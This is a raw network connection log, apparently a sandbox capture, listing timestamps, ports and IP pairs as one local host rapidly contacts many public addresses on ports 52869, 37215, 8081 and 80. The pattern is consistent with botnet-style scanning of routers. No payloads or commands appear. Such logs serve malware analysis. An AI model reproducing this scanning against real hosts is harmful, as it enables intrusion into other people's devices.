Jul 20, 2024 23:05:44.923593044 CEST	43695	52869	192.168.2.13	205.255.82.61
Jul 20, 2024 23:05:44.923593044 CEST	43695	52869	192.168.2.13	208.125.164.236
Jul 20, 2024 23:05:44.923593044 CEST	43695	52869	192.168.2.13	185.111.118.194
Jul 20, 2024 23:05:44.923824072 CEST	35266	8081	192.168.2.13	186.61.181.249
Jul 20, 2024 23:05:44.924154043 CEST	44719	37215	192.168.2.13	197.52.166.177
Jul 20, 2024 23:05:44.924154043 CEST	44719	37215	192.168.2.13	41.190.248.65
Jul 20, 2024 23:05:44.924154043 CEST	44719	37215	192.168.2.13	157.222.70.203
Jul 20, 2024 23:05:44.924154043 CEST	44719	37215	192.168.2.13	157.11.209.216
Jul 20, 2024 23:05:44.924154043 CEST	44719	37215	192.168.2.13	197.243.125.201
Jul 20, 2024 23:05:44.924154043 CEST	44719	37215	192.168.2.13	157.134.216.253
Jul 20, 2024 23:05:44.924154043 CEST	44719	37215	192.168.2.13	41.9.168.94
Jul 20, 2024 23:05:44.924154043 CEST	44719	37215	192.168.2.13	157.119.174.34
Jul 20, 2024 23:05:44.924865007 CEST	8081	54876	163.215.202.155	192.168.2.13
Jul 20, 2024 23:05:44.925512075 CEST	8081	36692	76.128.166.144	192.168.2.13
Jul 20, 2024 23:05:44.925537109 CEST	46224	52869	192.168.2.13	39.125.186.30
Jul 20, 2024 23:05:44.925537109 CEST	54876	8081	192.168.2.13	163.215.202.155
Jul 20, 2024 23:05:44.925699949 CEST	52869	34368	73.83.129.52	192.168.2.13
Jul 20, 2024 23:05:44.925740957 CEST	34368	52869	192.168.2.13	73.83.129.52
Jul 20, 2024 23:05:44.926023960 CEST	80	60562	95.186.32.116	192.168.2.13
Jul 20, 2024 23:05:44.926686049 CEST	37215	54436	197.64.154.239	192.168.2.13
Jul 20, 2024 23:05:44.927180052 CEST	8081	58526	147.95.50.200	192.168.2.13
Jul 20, 2024 23:05:44.927181959 CEST	49928	52869	192.168.2.13	155.180.4.142
Jul 20, 2024 23:05:44.927469969 CEST	80	42178	95.133.102.226	192.168.2.13
Jul 20, 2024 23:05:44.927653074 CEST	43695	52869	192.168.2.13	200.115.173.65
Jul 20, 2024 23:05:44.927653074 CEST	43695	52869	192.168.2.13	97.133.157.166
Jul 20, 2024 23:05:44.927653074 CEST	43695	52869	192.168.2.13	112.185.183.46
Jul 20, 2024 23:05:44.927653074 CEST	43695	52869	192.168.2.13	178.67.28.194
Jul 20, 2024 23:05:44.927653074 CEST	43695	52869	192.168.2.13	206.210.12.172
Jul 20, 2024 23:05:44.927653074 CEST	43695	52869	192.168.2.13	182.72.132.250
Jul 20, 2024 23:05:44.927653074 CEST	43695	52869	192.168.2.13	202.9.216.25
Jul 20, 2024 23:05:44.927653074 CEST	43695	52869	192.168.2.13	91.115.88.235
Jul 20, 2024 23:05:44.927946091 CEST	45536	8081	192.168.2.13	115.217.160.85
Jul 20, 2024 23:05:44.927946091 CEST	47198	80	192.168.2.13	95.115.50.80
Jul 20, 2024 23:05:44.927968025 CEST	37215	44984	197.159.192.112	192.168.2.13
Jul 20, 2024 23:05:44.928075075 CEST	56648	8081	192.168.2.13	8.239.52.142
Jul 20, 2024 23:05:44.928349972 CEST	52869	41922	8.26.166.115	192.168.2.13
Jul 20, 2024 23:05:44.928363085 CEST	44984	37215	192.168.2.13	197.159.192.112
Jul 20, 2024 23:05:44.928566933 CEST	42178	80	192.168.2.13	95.133.102.226
Jul 20, 2024 23:05:44.928566933 CEST	36692	8081	192.168.2.13	76.128.166.144
Jul 20, 2024 23:05:44.929116011 CEST	43695	52869	192.168.2.13	86.235.232.164
Jul 20, 2024 23:05:44.929116011 CEST	43695	52869	192.168.2.13	67.8.224.98
Jul 20, 2024 23:05:44.929116011 CEST	43695	52869	192.168.2.13	188.82.177.84
Jul 20, 2024 23:05:44.929116011 CEST	43695	52869	192.168.2.13	169.175.210.186
Jul 20, 2024 23:05:44.929116011 CEST	43695	52869	192.168.2.13	184.30.238.152
Jul 20, 2024 23:05:44.929116011 CEST	43695	52869	192.168.2.13	112.78.211.234
Jul 20, 2024 23:05:44.930459976 CEST	8081	35266	186.61.181.249	192.168.2.13
Jul 20, 2024 23:05:44.930480003 CEST	47198	80	192.168.2.13	95.115.50.80
Jul 20, 2024 23:05:44.930561066 CEST	35266	8081	192.168.2.13	186.61.181.249
Jul 20, 2024 23:05:44.931158066 CEST	52869	34368	73.83.129.52	192.168.2.13
Jul 20, 2024 23:05:44.931622982 CEST	56130	80	192.168.2.13	95.4.226.114
Jul 20, 2024 23:05:44.931737900 CEST	50318	8081	192.168.2.13	168.67.153.59
Jul 20, 2024 23:05:44.931737900 CEST	49468	52869	192.168.2.13	124.62.99.179
Jul 20, 2024 23:05:44.931737900 CEST	50316	37215	192.168.2.13	41.139.123.50
Jul 20, 2024 23:05:44.932246923 CEST	54706	8081	192.168.2.13	134.18.22.29
Jul 20, 2024 23:05:44.932388067 CEST	60562	80	192.168.2.13	95.186.32.116
Jul 20, 2024 23:05:44.932401896 CEST	58526	8081	192.168.2.13	147.95.50.200
Jul 20, 2024 23:05:44.932492018 CEST	43695	52869	192.168.2.13	65.125.252.33
Jul 20, 2024 23:05:44.932492018 CEST	43695	52869	192.168.2.13	121.219.246.173
Jul 20, 2024 23:05:44.932492018 CEST	43695	52869	192.168.2.13	53.50.223.92
Jul 20, 2024 23:05:44.932492018 CEST	43695	52869	192.168.2.13	23.132.226.101
Jul 20, 2024 23:05:44.932492018 CEST	43695	52869	192.168.2.13	72.40.240.24
Jul 20, 2024 23:05:44.932492971 CEST	43695	52869	192.168.2.13	36.189.243.172
Jul 20, 2024 23:05:44.932492971 CEST	43695	52869	192.168.2.13	90.26.4.235
Jul 20, 2024 23:05:44.932492971 CEST	43695	52869	192.168.2.13	204.228.135.174
Jul 20, 2024 23:05:44.933036089 CEST	8081	54876	163.215.202.155	192.168.2.13
Jul 20, 2024 23:05:44.933237076 CEST	52869	49928	155.180.4.142	192.168.2.13
Jul 20, 2024 23:05:44.933284044 CEST	49928	52869	192.168.2.13	155.180.4.142
Jul 20, 2024 23:05:44.933660030 CEST	8081	56648	8.239.52.142	192.168.2.13
Jul 20, 2024 23:05:44.933959961 CEST	56648	8081	192.168.2.13	8.239.52.142
Jul 20, 2024 23:05:44.934473991 CEST	41922	52869	192.168.2.13	8.26.166.115
Jul 20, 2024 23:05:44.934473991 CEST	54436	37215	192.168.2.13	197.64.154.239
Jul 20, 2024 23:05:44.934473991 CEST	34368	52869	192.168.2.13	73.83.129.52
Jul 20, 2024 23:05:44.934473991 CEST	56392	52869	192.168.2.13	209.76.121.16
Jul 20, 2024 23:05:44.935020924 CEST	44719	37215	192.168.2.13	157.159.140.43
Jul 20, 2024 23:05:44.935020924 CEST	44719	37215	192.168.2.13	185.191.185.216
Jul 20, 2024 23:05:44.935020924 CEST	44719	37215	192.168.2.13	157.27.183.120
Jul 20, 2024 23:05:44.935020924 CEST	44719	37215	192.168.2.13	41.121.242.110
Jul 20, 2024 23:05:44.935020924 CEST	44719	37215	192.168.2.13	197.245.129.110
Jul 20, 2024 23:05:44.935020924 CEST	44719	37215	192.168.2.13	41.234.62.246
Jul 20, 2024 23:05:44.935020924 CEST	44719	37215	192.168.2.13	157.246.138.59
Jul 20, 2024 23:05:44.935020924 CEST	44719	37215	192.168.2.13	197.222.2.194
Jul 20, 2024 23:05:44.935322046 CEST	80	47198	95.115.50.80	192.168.2.13
Jul 20, 2024 23:05:44.935688972 CEST	80	47198	95.115.50.80	192.168.2.13
Jul 20, 2024 23:05:44.935786963 CEST	43695	52869	192.168.2.13	87.160.65.233
Jul 20, 2024 23:05:44.935786963 CEST	43695	52869	192.168.2.13	78.17.151.252
Jul 20, 2024 23:05:44.935786963 CEST	43695	52869	192.168.2.13	206.67.226.137
Jul 20, 2024 23:05:44.935786963 CEST	43695	52869	192.168.2.13	204.73.153.169
Jul 20, 2024 23:05:44.936049938 CEST	55486	8081	192.168.2.13	204.227.37.97
Jul 20, 2024 23:05:44.936049938 CEST	54998	37215	192.168.2.13	197.244.78.99
Jul 20, 2024 23:05:44.936259031 CEST	8081	35266	186.61.181.249	192.168.2.13
Jul 20, 2024 23:05:44.936367035 CEST	35266	8081	192.168.2.13	186.61.181.249
Jul 20, 2024 23:05:44.936367035 CEST	54876	8081	192.168.2.13	163.215.202.155
Jul 20, 2024 23:05:44.936857939 CEST	80	56130	95.4.226.114	192.168.2.13
Jul 20, 2024 23:05:44.937236071 CEST	56130	80	192.168.2.13	95.4.226.114
Jul 20, 2024 23:05:44.937922955 CEST	8081	50318	168.67.153.59	192.168.2.13
Jul 20, 2024 23:05:44.938877106 CEST	41720	80	192.168.2.13	95.133.102.226
Jul 20, 2024 23:05:44.938877106 CEST	41720	80	192.168.2.13	95.133.102.226
Jul 20, 2024 23:05:44.938877106 CEST	54564	52869	192.168.2.13	49.95.69.134
Jul 20, 2024 23:05:44.938877106 CEST	47084	80	192.168.2.13	95.163.228.59
Jul 20, 2024 23:05:44.938877106 CEST	54968	80	192.168.2.13	95.50.45.64
Jul 20, 2024 23:05:44.938877106 CEST	54968	80	192.168.2.13	95.50.45.64
Jul 20, 2024 23:05:44.938962936 CEST	52869	49468	124.62.99.179	192.168.2.13
Jul 20, 2024 23:05:44.939085007 CEST	43695	52869	192.168.2.13	169.73.39.67
Jul 20, 2024 23:05:44.939085007 CEST	43695	52869	192.168.2.13	222.164.84.61
Jul 20, 2024 23:05:44.939085007 CEST	43695	52869	192.168.2.13	108.245.220.71
Jul 20, 2024 23:05:44.939085007 CEST	43695	52869	192.168.2.13	31.108.53.46
Jul 20, 2024 23:05:44.939085007 CEST	43695	52869	192.168.2.13	200.151.212.227
Jul 20, 2024 23:05:44.939085007 CEST	43695	52869	192.168.2.13	150.211.139.252
Jul 20, 2024 23:05:44.939085007 CEST	43695	52869	192.168.2.13	187.150.102.98
Jul 20, 2024 23:05:44.939085007 CEST	43695	52869	192.168.2.13	67.42.38.190
Jul 20, 2024 23:05:44.939333916 CEST	52869	49928	155.180.4.142	192.168.2.13
Jul 20, 2024 23:05:44.939594030 CEST	8081	54706	134.18.22.29	192.168.2.13
Jul 20, 2024 23:05:44.939692020 CEST	54706	8081	192.168.2.13	134.18.22.29
Jul 20, 2024 23:05:44.940006971 CEST	8081	56648	8.239.52.142	192.168.2.13
Jul 20, 2024 23:05:44.940366030 CEST	56648	8081	192.168.2.13	8.239.52.142
Jul 20, 2024 23:05:44.940606117 CEST	44719	37215	192.168.2.13	120.142.12.100
Jul 20, 2024 23:05:44.940606117 CEST	43695	52869	192.168.2.13	164.158.62.205
Jul 20, 2024 23:05:44.940606117 CEST	43695	52869	192.168.2.13	32.232.240.167
Jul 20, 2024 23:05:44.940606117 CEST	43695	52869	192.168.2.13	69.65.232.18
Jul 20, 2024 23:05:44.940606117 CEST	43695	52869	192.168.2.13	205.7.117.151
Jul 20, 2024 23:05:44.940606117 CEST	43695	52869	192.168.2.13	176.132.29.170
Jul 20, 2024 23:05:44.940606117 CEST	43695	52869	192.168.2.13	94.148.40.185
Jul 20, 2024 23:05:44.941390991 CEST	37215	50316	41.139.123.50	192.168.2.13
Jul 20, 2024 23:05:44.941605091 CEST	52036	37215	192.168.2.13	157.116.62.195
Jul 20, 2024 23:05:44.941605091 CEST	55436	80	192.168.2.13	95.50.45.64
Jul 20, 2024 23:05:44.941606045 CEST	50318	8081	192.168.2.13	168.67.153.59
Jul 20, 2024 23:05:44.941606045 CEST	49468	52869	192.168.2.13	124.62.99.179
Jul 20, 2024 23:05:44.941606045 CEST	35442	80	192.168.2.13	95.139.27.54
Jul 20, 2024 23:05:44.941651106 CEST	52869	56392	209.76.121.16	192.168.2.13
Jul 20, 2024 23:05:44.941694021 CEST	56392	52869	192.168.2.13	209.76.121.16
Jul 20, 2024 23:05:44.942341089 CEST	35644	37215	192.168.2.13	157.117.152.206
Jul 20, 2024 23:05:44.942480087 CEST	8081	55486	204.227.37.97	192.168.2.13
Jul 20, 2024 23:05:44.943341017 CEST	80	56130	95.4.226.114	192.168.2.13
Jul 20, 2024 23:05:44.943511963 CEST	43695	52869	192.168.2.13	150.95.209.221
Jul 20, 2024 23:05:44.943511963 CEST	43695	52869	192.168.2.13	200.213.216.86
Jul 20, 2024 23:05:44.943511963 CEST	43695	52869	192.168.2.13	27.52.79.120
Jul 20, 2024 23:05:44.943511963 CEST	43695	52869	192.168.2.13	188.138.217.87
Jul 20, 2024 23:05:44.943511963 CEST	43695	52869	192.168.2.13	154.217.210.224
Jul 20, 2024 23:05:44.943511963 CEST	43695	52869	192.168.2.13	218.1.187.225
Jul 20, 2024 23:05:44.943511963 CEST	43695	52869	192.168.2.13	80.69.134.131
Jul 20, 2024 23:05:44.943511963 CEST	43695	52869	192.168.2.13	157.20.48.16
Jul 20, 2024 23:05:44.943830967 CEST	37215	54998	197.244.78.99	192.168.2.13
Jul 20, 2024 23:05:44.944367886 CEST	49928	52869	192.168.2.13	155.180.4.142
Jul 20, 2024 23:05:44.944367886 CEST	56130	80	192.168.2.13	95.4.226.114
Jul 20, 2024 23:05:44.944389105 CEST	80	41720	95.133.102.226	192.168.2.13
Jul 20, 2024 23:05:44.944425106 CEST	43695	52869	192.168.2.13	66.92.49.16
Jul 20, 2024 23:05:44.944425106 CEST	43695	52869	192.168.2.13	64.230.209.33
Jul 20, 2024 23:05:44.944425106 CEST	43695	52869	192.168.2.13	8.5.104.247
Jul 20, 2024 23:05:44.944425106 CEST	43695	52869	192.168.2.13	176.84.114.161
Jul 20, 2024 23:05:44.944425106 CEST	43695	52869	192.168.2.13	77.136.230.103
Jul 20, 2024 23:05:44.944425106 CEST	43695	52869	192.168.2.13	192.147.168.153
Jul 20, 2024 23:05:44.944425106 CEST	43695	52869	192.168.2.13	161.72.119.188
Jul 20, 2024 23:05:44.944425106 CEST	43695	52869	192.168.2.13	57.135.192.60
Jul 20, 2024 23:05:44.944858074 CEST	80	41720	95.133.102.226	192.168.2.13
Jul 20, 2024 23:05:44.945028067 CEST	52869	54564	49.95.69.134	192.168.2.13
Jul 20, 2024 23:05:44.945173025 CEST	80	35484	95.207.7.187	192.168.2.13
Jul 20, 2024 23:05:44.945385933 CEST	80	47084	95.163.228.59	192.168.2.13
Jul 20, 2024 23:05:44.945698977 CEST	35442	80	192.168.2.13	95.139.27.54
Jul 20, 2024 23:05:44.945698977 CEST	50316	37215	192.168.2.13	41.139.123.50
Jul 20, 2024 23:05:44.945698977 CEST	55486	8081	192.168.2.13	204.227.37.97
Jul 20, 2024 23:05:44.945698977 CEST	54998	37215	192.168.2.13	197.244.78.99
Jul 20, 2024 23:05:44.945698977 CEST	54564	52869	192.168.2.13	49.95.69.134
Jul 20, 2024 23:05:44.945698977 CEST	47084	80	192.168.2.13	95.163.228.59
Jul 20, 2024 23:05:44.946099997 CEST	8081	54706	134.18.22.29	192.168.2.13
Jul 20, 2024 23:05:44.946131945 CEST	32862	52869	192.168.2.13	54.54.215.85
Jul 20, 2024 23:05:44.946346045 CEST	80	54968	95.50.45.64	192.168.2.13
Jul 20, 2024 23:05:44.946504116 CEST	59754	80	192.168.2.13	95.174.198.161
Jul 20, 2024 23:05:44.946739912 CEST	80	54968	95.50.45.64	192.168.2.13
Jul 20, 2024 23:05:44.947055101 CEST	37215	52036	157.116.62.195	192.168.2.13
Jul 20, 2024 23:05:44.947688103 CEST	43695	52869	192.168.2.13	142.159.1.169
Jul 20, 2024 23:05:44.947688103 CEST	43695	52869	192.168.2.13	9.78.192.32
Jul 20, 2024 23:05:44.947688103 CEST	43695	52869	192.168.2.13	120.39.70.249
Jul 20, 2024 23:05:44.947688103 CEST	43695	52869	192.168.2.13	81.140.125.56
Jul 20, 2024 23:05:44.947688103 CEST	43695	52869	192.168.2.13	155.20.152.176
Jul 20, 2024 23:05:44.947689056 CEST	43695	52869	192.168.2.13	51.42.224.87
Jul 20, 2024 23:05:44.947689056 CEST	43695	52869	192.168.2.13	125.22.157.156
Jul 20, 2024 23:05:44.947689056 CEST	43695	52869	192.168.2.13	71.131.96.107
Jul 20, 2024 23:05:44.947808981 CEST	52869	56392	209.76.121.16	192.168.2.13
Jul 20, 2024 23:05:44.948013067 CEST	80	55436	95.50.45.64	192.168.2.13
Jul 20, 2024 23:05:44.948080063 CEST	37215	35644	157.117.152.206	192.168.2.13
Jul 20, 2024 23:05:44.948134899 CEST	35644	37215	192.168.2.13	157.117.152.206
Jul 20, 2024 23:05:44.948210001 CEST	52036	37215	192.168.2.13	157.116.62.195
Jul 20, 2024 23:05:44.948210001 CEST	55436	80	192.168.2.13	95.50.45.64
Jul 20, 2024 23:05:44.948753119 CEST	43695	52869	192.168.2.13	148.151.143.189
Jul 20, 2024 23:05:44.948753119 CEST	43695	52869	192.168.2.13	81.87.12.193
Jul 20, 2024 23:05:44.948753119 CEST	43695	52869	192.168.2.13	113.189.95.35
Jul 20, 2024 23:05:44.948753119 CEST	43695	52869	192.168.2.13	80.64.32.249
Jul 20, 2024 23:05:44.948753119 CEST	43695	52869	192.168.2.13	126.6.163.140
Jul 20, 2024 23:05:44.948753119 CEST	43695	52869	192.168.2.13	38.61.216.176
Jul 20, 2024 23:05:44.948753119 CEST	43695	52869	192.168.2.13	187.93.75.127
Jul 20, 2024 23:05:44.948753119 CEST	43695	52869	192.168.2.13	155.186.158.185
Jul 20, 2024 23:05:44.948771000 CEST	41866	37215	192.168.2.13	105.176.207.17
Jul 20, 2024 23:05:44.949245930 CEST	50664	80	192.168.2.13	95.55.65.39
Jul 20, 2024 23:05:44.949245930 CEST	50664	80	192.168.2.13	95.55.65.39
Jul 20, 2024 23:05:44.949245930 CEST	51090	80	192.168.2.13	95.55.65.39
Jul 20, 2024 23:05:44.950072050 CEST	44108	52869	192.168.2.13	171.175.125.48
Jul 20, 2024 23:05:44.950545073 CEST	8081	50318	168.67.153.59	192.168.2.13
Jul 20, 2024 23:05:44.950768948 CEST	52869	49468	124.62.99.179	192.168.2.13
Jul 20, 2024 23:05:44.950774908 CEST	80	35442	95.139.27.54	192.168.2.13
Jul 20, 2024 23:05:44.951018095 CEST	43695	52869	192.168.2.13	103.18.224.87
Jul 20, 2024 23:05:44.951018095 CEST	43695	52869	192.168.2.13	86.47.232.134
Jul 20, 2024 23:05:44.951018095 CEST	43695	52869	192.168.2.13	139.31.203.166
Jul 20, 2024 23:05:44.951018095 CEST	43695	52869	192.168.2.13	124.27.144.199
Jul 20, 2024 23:05:44.951018095 CEST	43695	52869	192.168.2.13	186.106.216.253
Jul 20, 2024 23:05:44.951018095 CEST	43695	52869	192.168.2.13	140.175.193.12
Jul 20, 2024 23:05:44.951122046 CEST	80	35442	95.139.27.54	192.168.2.13
Jul 20, 2024 23:05:44.951150894 CEST	52976	80	192.168.2.13	95.169.197.20
Jul 20, 2024 23:05:44.951150894 CEST	52976	80	192.168.2.13	95.169.197.20
Jul 20, 2024 23:05:44.951150894 CEST	56956	8081	192.168.2.13	172.212.47.121
Jul 20, 2024 23:05:44.951150894 CEST	58496	80	192.168.2.13	95.172.181.119
Jul 20, 2024 23:05:44.951150894 CEST	46624	80	192.168.2.13	95.163.228.59
Jul 20, 2024 23:05:44.951386929 CEST	37215	50316	41.139.123.50	192.168.2.13
Jul 20, 2024 23:05:44.952111959 CEST	8081	55486	204.227.37.97	192.168.2.13
Jul 20, 2024 23:05:44.952311039 CEST	46862	80	192.168.2.13	95.8.43.97
Jul 20, 2024 23:05:44.952311039 CEST	46862	80	192.168.2.13	95.8.43.97
Jul 20, 2024 23:05:44.952372074 CEST	56392	52869	192.168.2.13	209.76.121.16
Jul 20, 2024 23:05:44.952372074 CEST	54706	8081	192.168.2.13	134.18.22.29
Jul 20, 2024 23:05:44.952461958 CEST	46890	37215	192.168.2.13	41.195.213.199
Jul 20, 2024 23:05:44.952524900 CEST	80	59754	95.174.198.161	192.168.2.13
Jul 20, 2024 23:05:44.952531099 CEST	52869	32862	54.54.215.85	192.168.2.13
Jul 20, 2024 23:05:44.952797890 CEST	37215	54998	197.244.78.99	192.168.2.13
Jul 20, 2024 23:05:44.953102112 CEST	59754	80	192.168.2.13	95.174.198.161
Jul 20, 2024 23:05:44.953151941 CEST	52869	54564	49.95.69.134	192.168.2.13
Jul 20, 2024 23:05:44.953490019 CEST	80	47084	95.163.228.59	192.168.2.13
Jul 20, 2024 23:05:44.953641891 CEST	37215	35644	157.117.152.206	192.168.2.13
Jul 20, 2024 23:05:44.953753948 CEST	43695	52869	192.168.2.13	38.28.85.60
Jul 20, 2024 23:05:44.953753948 CEST	43695	52869	192.168.2.13	35.246.12.69
Jul 20, 2024 23:05:44.953753948 CEST	43695	52869	192.168.2.13	217.164.17.143
Jul 20, 2024 23:05:44.953753948 CEST	43695	52869	192.168.2.13	157.103.226.156
Jul 20, 2024 23:05:44.953753948 CEST	43695	52869	192.168.2.13	116.40.6.61
Jul 20, 2024 23:05:44.953753948 CEST	43695	52869	192.168.2.13	69.232.106.166
Jul 20, 2024 23:05:44.953753948 CEST	43695	52869	192.168.2.13	203.121.219.208
Jul 20, 2024 23:05:44.953879118 CEST	43695	52869	192.168.2.13	118.147.111.48
Jul 20, 2024 23:05:44.953879118 CEST	43695	52869	192.168.2.13	200.114.34.94
Jul 20, 2024 23:05:44.953879118 CEST	43695	52869	192.168.2.13	47.54.88.113
Jul 20, 2024 23:05:44.953879118 CEST	43695	52869	192.168.2.13	91.22.64.44
Jul 20, 2024 23:05:44.953879118 CEST	43695	52869	192.168.2.13	188.54.88.136
Jul 20, 2024 23:05:44.953879118 CEST	43695	52869	192.168.2.13	45.204.138.114
Jul 20, 2024 23:05:44.953879118 CEST	43695	52869	192.168.2.13	86.47.8.220
Jul 20, 2024 23:05:44.953879118 CEST	43695	52869	192.168.2.13	102.219.218.214
Jul 20, 2024 23:05:44.954197884 CEST	37215	52036	157.116.62.195	192.168.2.13
Jul 20, 2024 23:05:44.954197884 CEST	46624	80	192.168.2.13	95.163.228.59
Jul 20, 2024 23:05:44.954197884 CEST	51714	80	192.168.2.13	95.71.68.243
Jul 20, 2024 23:05:44.954197884 CEST	51714	80	192.168.2.13	95.71.68.243
Jul 20, 2024 23:05:44.954197884 CEST	34862	37215	192.168.2.13	41.233.21.101
Jul 20, 2024 23:05:44.954197884 CEST	54004	37215	192.168.2.13	41.5.59.32
Jul 20, 2024 23:05:44.954197884 CEST	59260	80	192.168.2.13	95.174.198.161
Jul 20, 2024 23:05:44.954197884 CEST	59260	80	192.168.2.13	95.174.198.161
Jul 20, 2024 23:05:44.954313040 CEST	36334	52869	192.168.2.13	142.17.9.107
Jul 20, 2024 23:05:44.954405069 CEST	37215	41866	105.176.207.17	192.168.2.13
Jul 20, 2024 23:05:44.954637051 CEST	41866	37215	192.168.2.13	105.176.207.17
Jul 20, 2024 23:05:44.954936981 CEST	80	50664	95.55.65.39	192.168.2.13
Jul 20, 2024 23:05:44.955027103 CEST	49468	52869	192.168.2.13	124.62.99.179
Jul 20, 2024 23:05:44.955027103 CEST	55486	8081	192.168.2.13	204.227.37.97
Jul 20, 2024 23:05:44.955027103 CEST	50318	8081	192.168.2.13	168.67.153.59
Jul 20, 2024 23:05:44.955027103 CEST	50316	37215	192.168.2.13	41.139.123.50
Jul 20, 2024 23:05:44.955619097 CEST	47360	80	192.168.2.13	95.8.43.97
Jul 20, 2024 23:05:44.955667019 CEST	80	50664	95.55.65.39	192.168.2.13
Jul 20, 2024 23:05:44.955672979 CEST	52869	44108	171.175.125.48	192.168.2.13
Jul 20, 2024 23:05:44.955811977 CEST	44108	52869	192.168.2.13	171.175.125.48
Jul 20, 2024 23:05:44.955899954 CEST	80	55436	95.50.45.64	192.168.2.13
Jul 20, 2024 23:05:44.956082106 CEST	80	51090	95.55.65.39	192.168.2.13
Jul 20, 2024 23:05:44.956312895 CEST	80	52976	95.169.197.20	192.168.2.13
Jul 20, 2024 23:05:44.956428051 CEST	35644	37215	192.168.2.13	157.117.152.206
Jul 20, 2024 23:05:44.956783056 CEST	80	52976	95.169.197.20	192.168.2.13
Jul 20, 2024 23:05:44.957034111 CEST	32862	52869	192.168.2.13	54.54.215.85
Jul 20, 2024 23:05:44.957034111 CEST	51090	80	192.168.2.13	95.55.65.39
Jul 20, 2024 23:05:44.957300901 CEST	8081	56956	172.212.47.121	192.168.2.13
Jul 20, 2024 23:05:44.957678080 CEST	43695	52869	192.168.2.13	144.194.214.41
Jul 20, 2024 23:05:44.957678080 CEST	43695	52869	192.168.2.13	207.131.90.91
Jul 20, 2024 23:05:44.957678080 CEST	43695	52869	192.168.2.13	117.20.120.196
Jul 20, 2024 23:05:44.957678080 CEST	43695	52869	192.168.2.13	219.97.180.45
Jul 20, 2024 23:05:44.957678080 CEST	43695	52869	192.168.2.13	138.201.104.133
Jul 20, 2024 23:05:44.957678080 CEST	43695	52869	192.168.2.13	72.135.115.194
Jul 20, 2024 23:05:44.957678080 CEST	43695	52869	192.168.2.13	65.241.200.234
Jul 20, 2024 23:05:44.957678080 CEST	43695	52869	192.168.2.13	92.244.31.38
Jul 20, 2024 23:05:44.957982063 CEST	37215	46890	41.195.213.199	192.168.2.13
Jul 20, 2024 23:05:44.958049059 CEST	46890	37215	192.168.2.13	41.195.213.199
Jul 20, 2024 23:05:44.958316088 CEST	56956	8081	192.168.2.13	172.212.47.121
Jul 20, 2024 23:05:44.958564997 CEST	55436	80	192.168.2.13	95.50.45.64
Jul 20, 2024 23:05:44.958564997 CEST	52036	37215	192.168.2.13	157.116.62.195
Jul 20, 2024 23:05:44.958564997 CEST	47084	80	192.168.2.13	95.163.228.59
Jul 20, 2024 23:05:44.958564997 CEST	54564	52869	192.168.2.13	49.95.69.134
Jul 20, 2024 23:05:44.958564997 CEST	54998	37215	192.168.2.13	197.244.78.99
Jul 20, 2024 23:05:44.959060907 CEST	80	46624	95.163.228.59	192.168.2.13
Jul 20, 2024 23:05:44.959428072 CEST	60618	52869	192.168.2.13	159.113.67.133
Jul 20, 2024 23:05:44.959563017 CEST	80	46862	95.8.43.97	192.168.2.13
Jul 20, 2024 23:05:44.959568024 CEST	80	46624	95.163.228.59	192.168.2.13
Jul 20, 2024 23:05:44.959573030 CEST	52869	36334	142.17.9.107	192.168.2.13
Jul 20, 2024 23:05:44.959598064 CEST	43695	52869	192.168.2.13	144.23.204.162
Jul 20, 2024 23:05:44.959598064 CEST	43695	52869	192.168.2.13	152.195.201.20
Jul 20, 2024 23:05:44.959598064 CEST	43695	52869	192.168.2.13	86.61.77.117
Jul 20, 2024 23:05:44.959598064 CEST	43695	52869	192.168.2.13	12.206.51.11
Jul 20, 2024 23:05:44.959598064 CEST	43695	52869	192.168.2.13	27.68.132.62
Jul 20, 2024 23:05:44.959598064 CEST	43695	52869	192.168.2.13	44.86.7.146
Jul 20, 2024 23:05:44.959598064 CEST	43695	52869	192.168.2.13	189.159.48.195
Jul 20, 2024 23:05:44.959598064 CEST	43695	52869	192.168.2.13	116.113.222.25
Jul 20, 2024 23:05:44.959619999 CEST	36334	52869	192.168.2.13	142.17.9.107
Jul 20, 2024 23:05:44.959765911 CEST	80	51714	95.71.68.243	192.168.2.13
Jul 20, 2024 23:05:44.959851027 CEST	80	51714	95.71.68.243	192.168.2.13
Jul 20, 2024 23:05:44.960330009 CEST	80	46862	95.8.43.97	192.168.2.13
Jul 20, 2024 23:05:44.960733891 CEST	37215	41866	105.176.207.17	192.168.2.13
Jul 20, 2024 23:05:44.960983038 CEST	37215	34862	41.233.21.101	192.168.2.13
Jul 20, 2024 23:05:44.961018085 CEST	34862	37215	192.168.2.13	41.233.21.101
Jul 20, 2024 23:05:44.961438894 CEST	80	47360	95.8.43.97	192.168.2.13
Jul 20, 2024 23:05:44.961622953 CEST	47360	80	192.168.2.13	95.8.43.97
Jul 20, 2024 23:05:44.961673975 CEST	37215	54004	41.5.59.32	192.168.2.13
Jul 20, 2024 23:05:44.961678982 CEST	52869	44108	171.175.125.48	192.168.2.13
Jul 20, 2024 23:05:44.961688995 CEST	80	59260	95.174.198.161	192.168.2.13
Jul 20, 2024 23:05:44.961812973 CEST	54004	37215	192.168.2.13	41.5.59.32
Jul 20, 2024 23:05:44.961937904 CEST	59046	37215	192.168.2.13	192.124.50.61
Jul 20, 2024 23:05:44.961937904 CEST	35528	80	192.168.2.13	95.124.107.190
Jul 20, 2024 23:05:44.962120056 CEST	80	59260	95.174.198.161	192.168.2.13
Jul 20, 2024 23:05:44.962661982 CEST	43695	52869	192.168.2.13	138.42.234.53
Jul 20, 2024 23:05:44.962661982 CEST	43695	52869	192.168.2.13	199.152.144.69
Jul 20, 2024 23:05:44.962661982 CEST	43695	52869	192.168.2.13	133.2.73.196
Jul 20, 2024 23:05:44.962661982 CEST	43695	52869	192.168.2.13	159.27.228.86
Jul 20, 2024 23:05:44.962661982 CEST	43695	52869	192.168.2.13	194.129.103.193
Jul 20, 2024 23:05:44.962661982 CEST	43695	52869	192.168.2.13	139.69.28.169
Jul 20, 2024 23:05:44.962661982 CEST	43695	52869	192.168.2.13	124.227.164.144
Jul 20, 2024 23:05:44.962727070 CEST	43695	52869	192.168.2.13	58.194.72.169
Jul 20, 2024 23:05:44.962728024 CEST	43695	52869	192.168.2.13	186.100.180.96
Jul 20, 2024 23:05:44.962728024 CEST	43695	52869	192.168.2.13	18.30.181.200
Jul 20, 2024 23:05:44.962728024 CEST	43695	52869	192.168.2.13	185.177.233.236
Jul 20, 2024 23:05:44.962728024 CEST	43695	52869	192.168.2.13	54.177.126.228
Jul 20, 2024 23:05:44.962728024 CEST	43695	52869	192.168.2.13	185.28.61.142
Jul 20, 2024 23:05:44.962728024 CEST	43695	52869	192.168.2.13	187.169.33.85
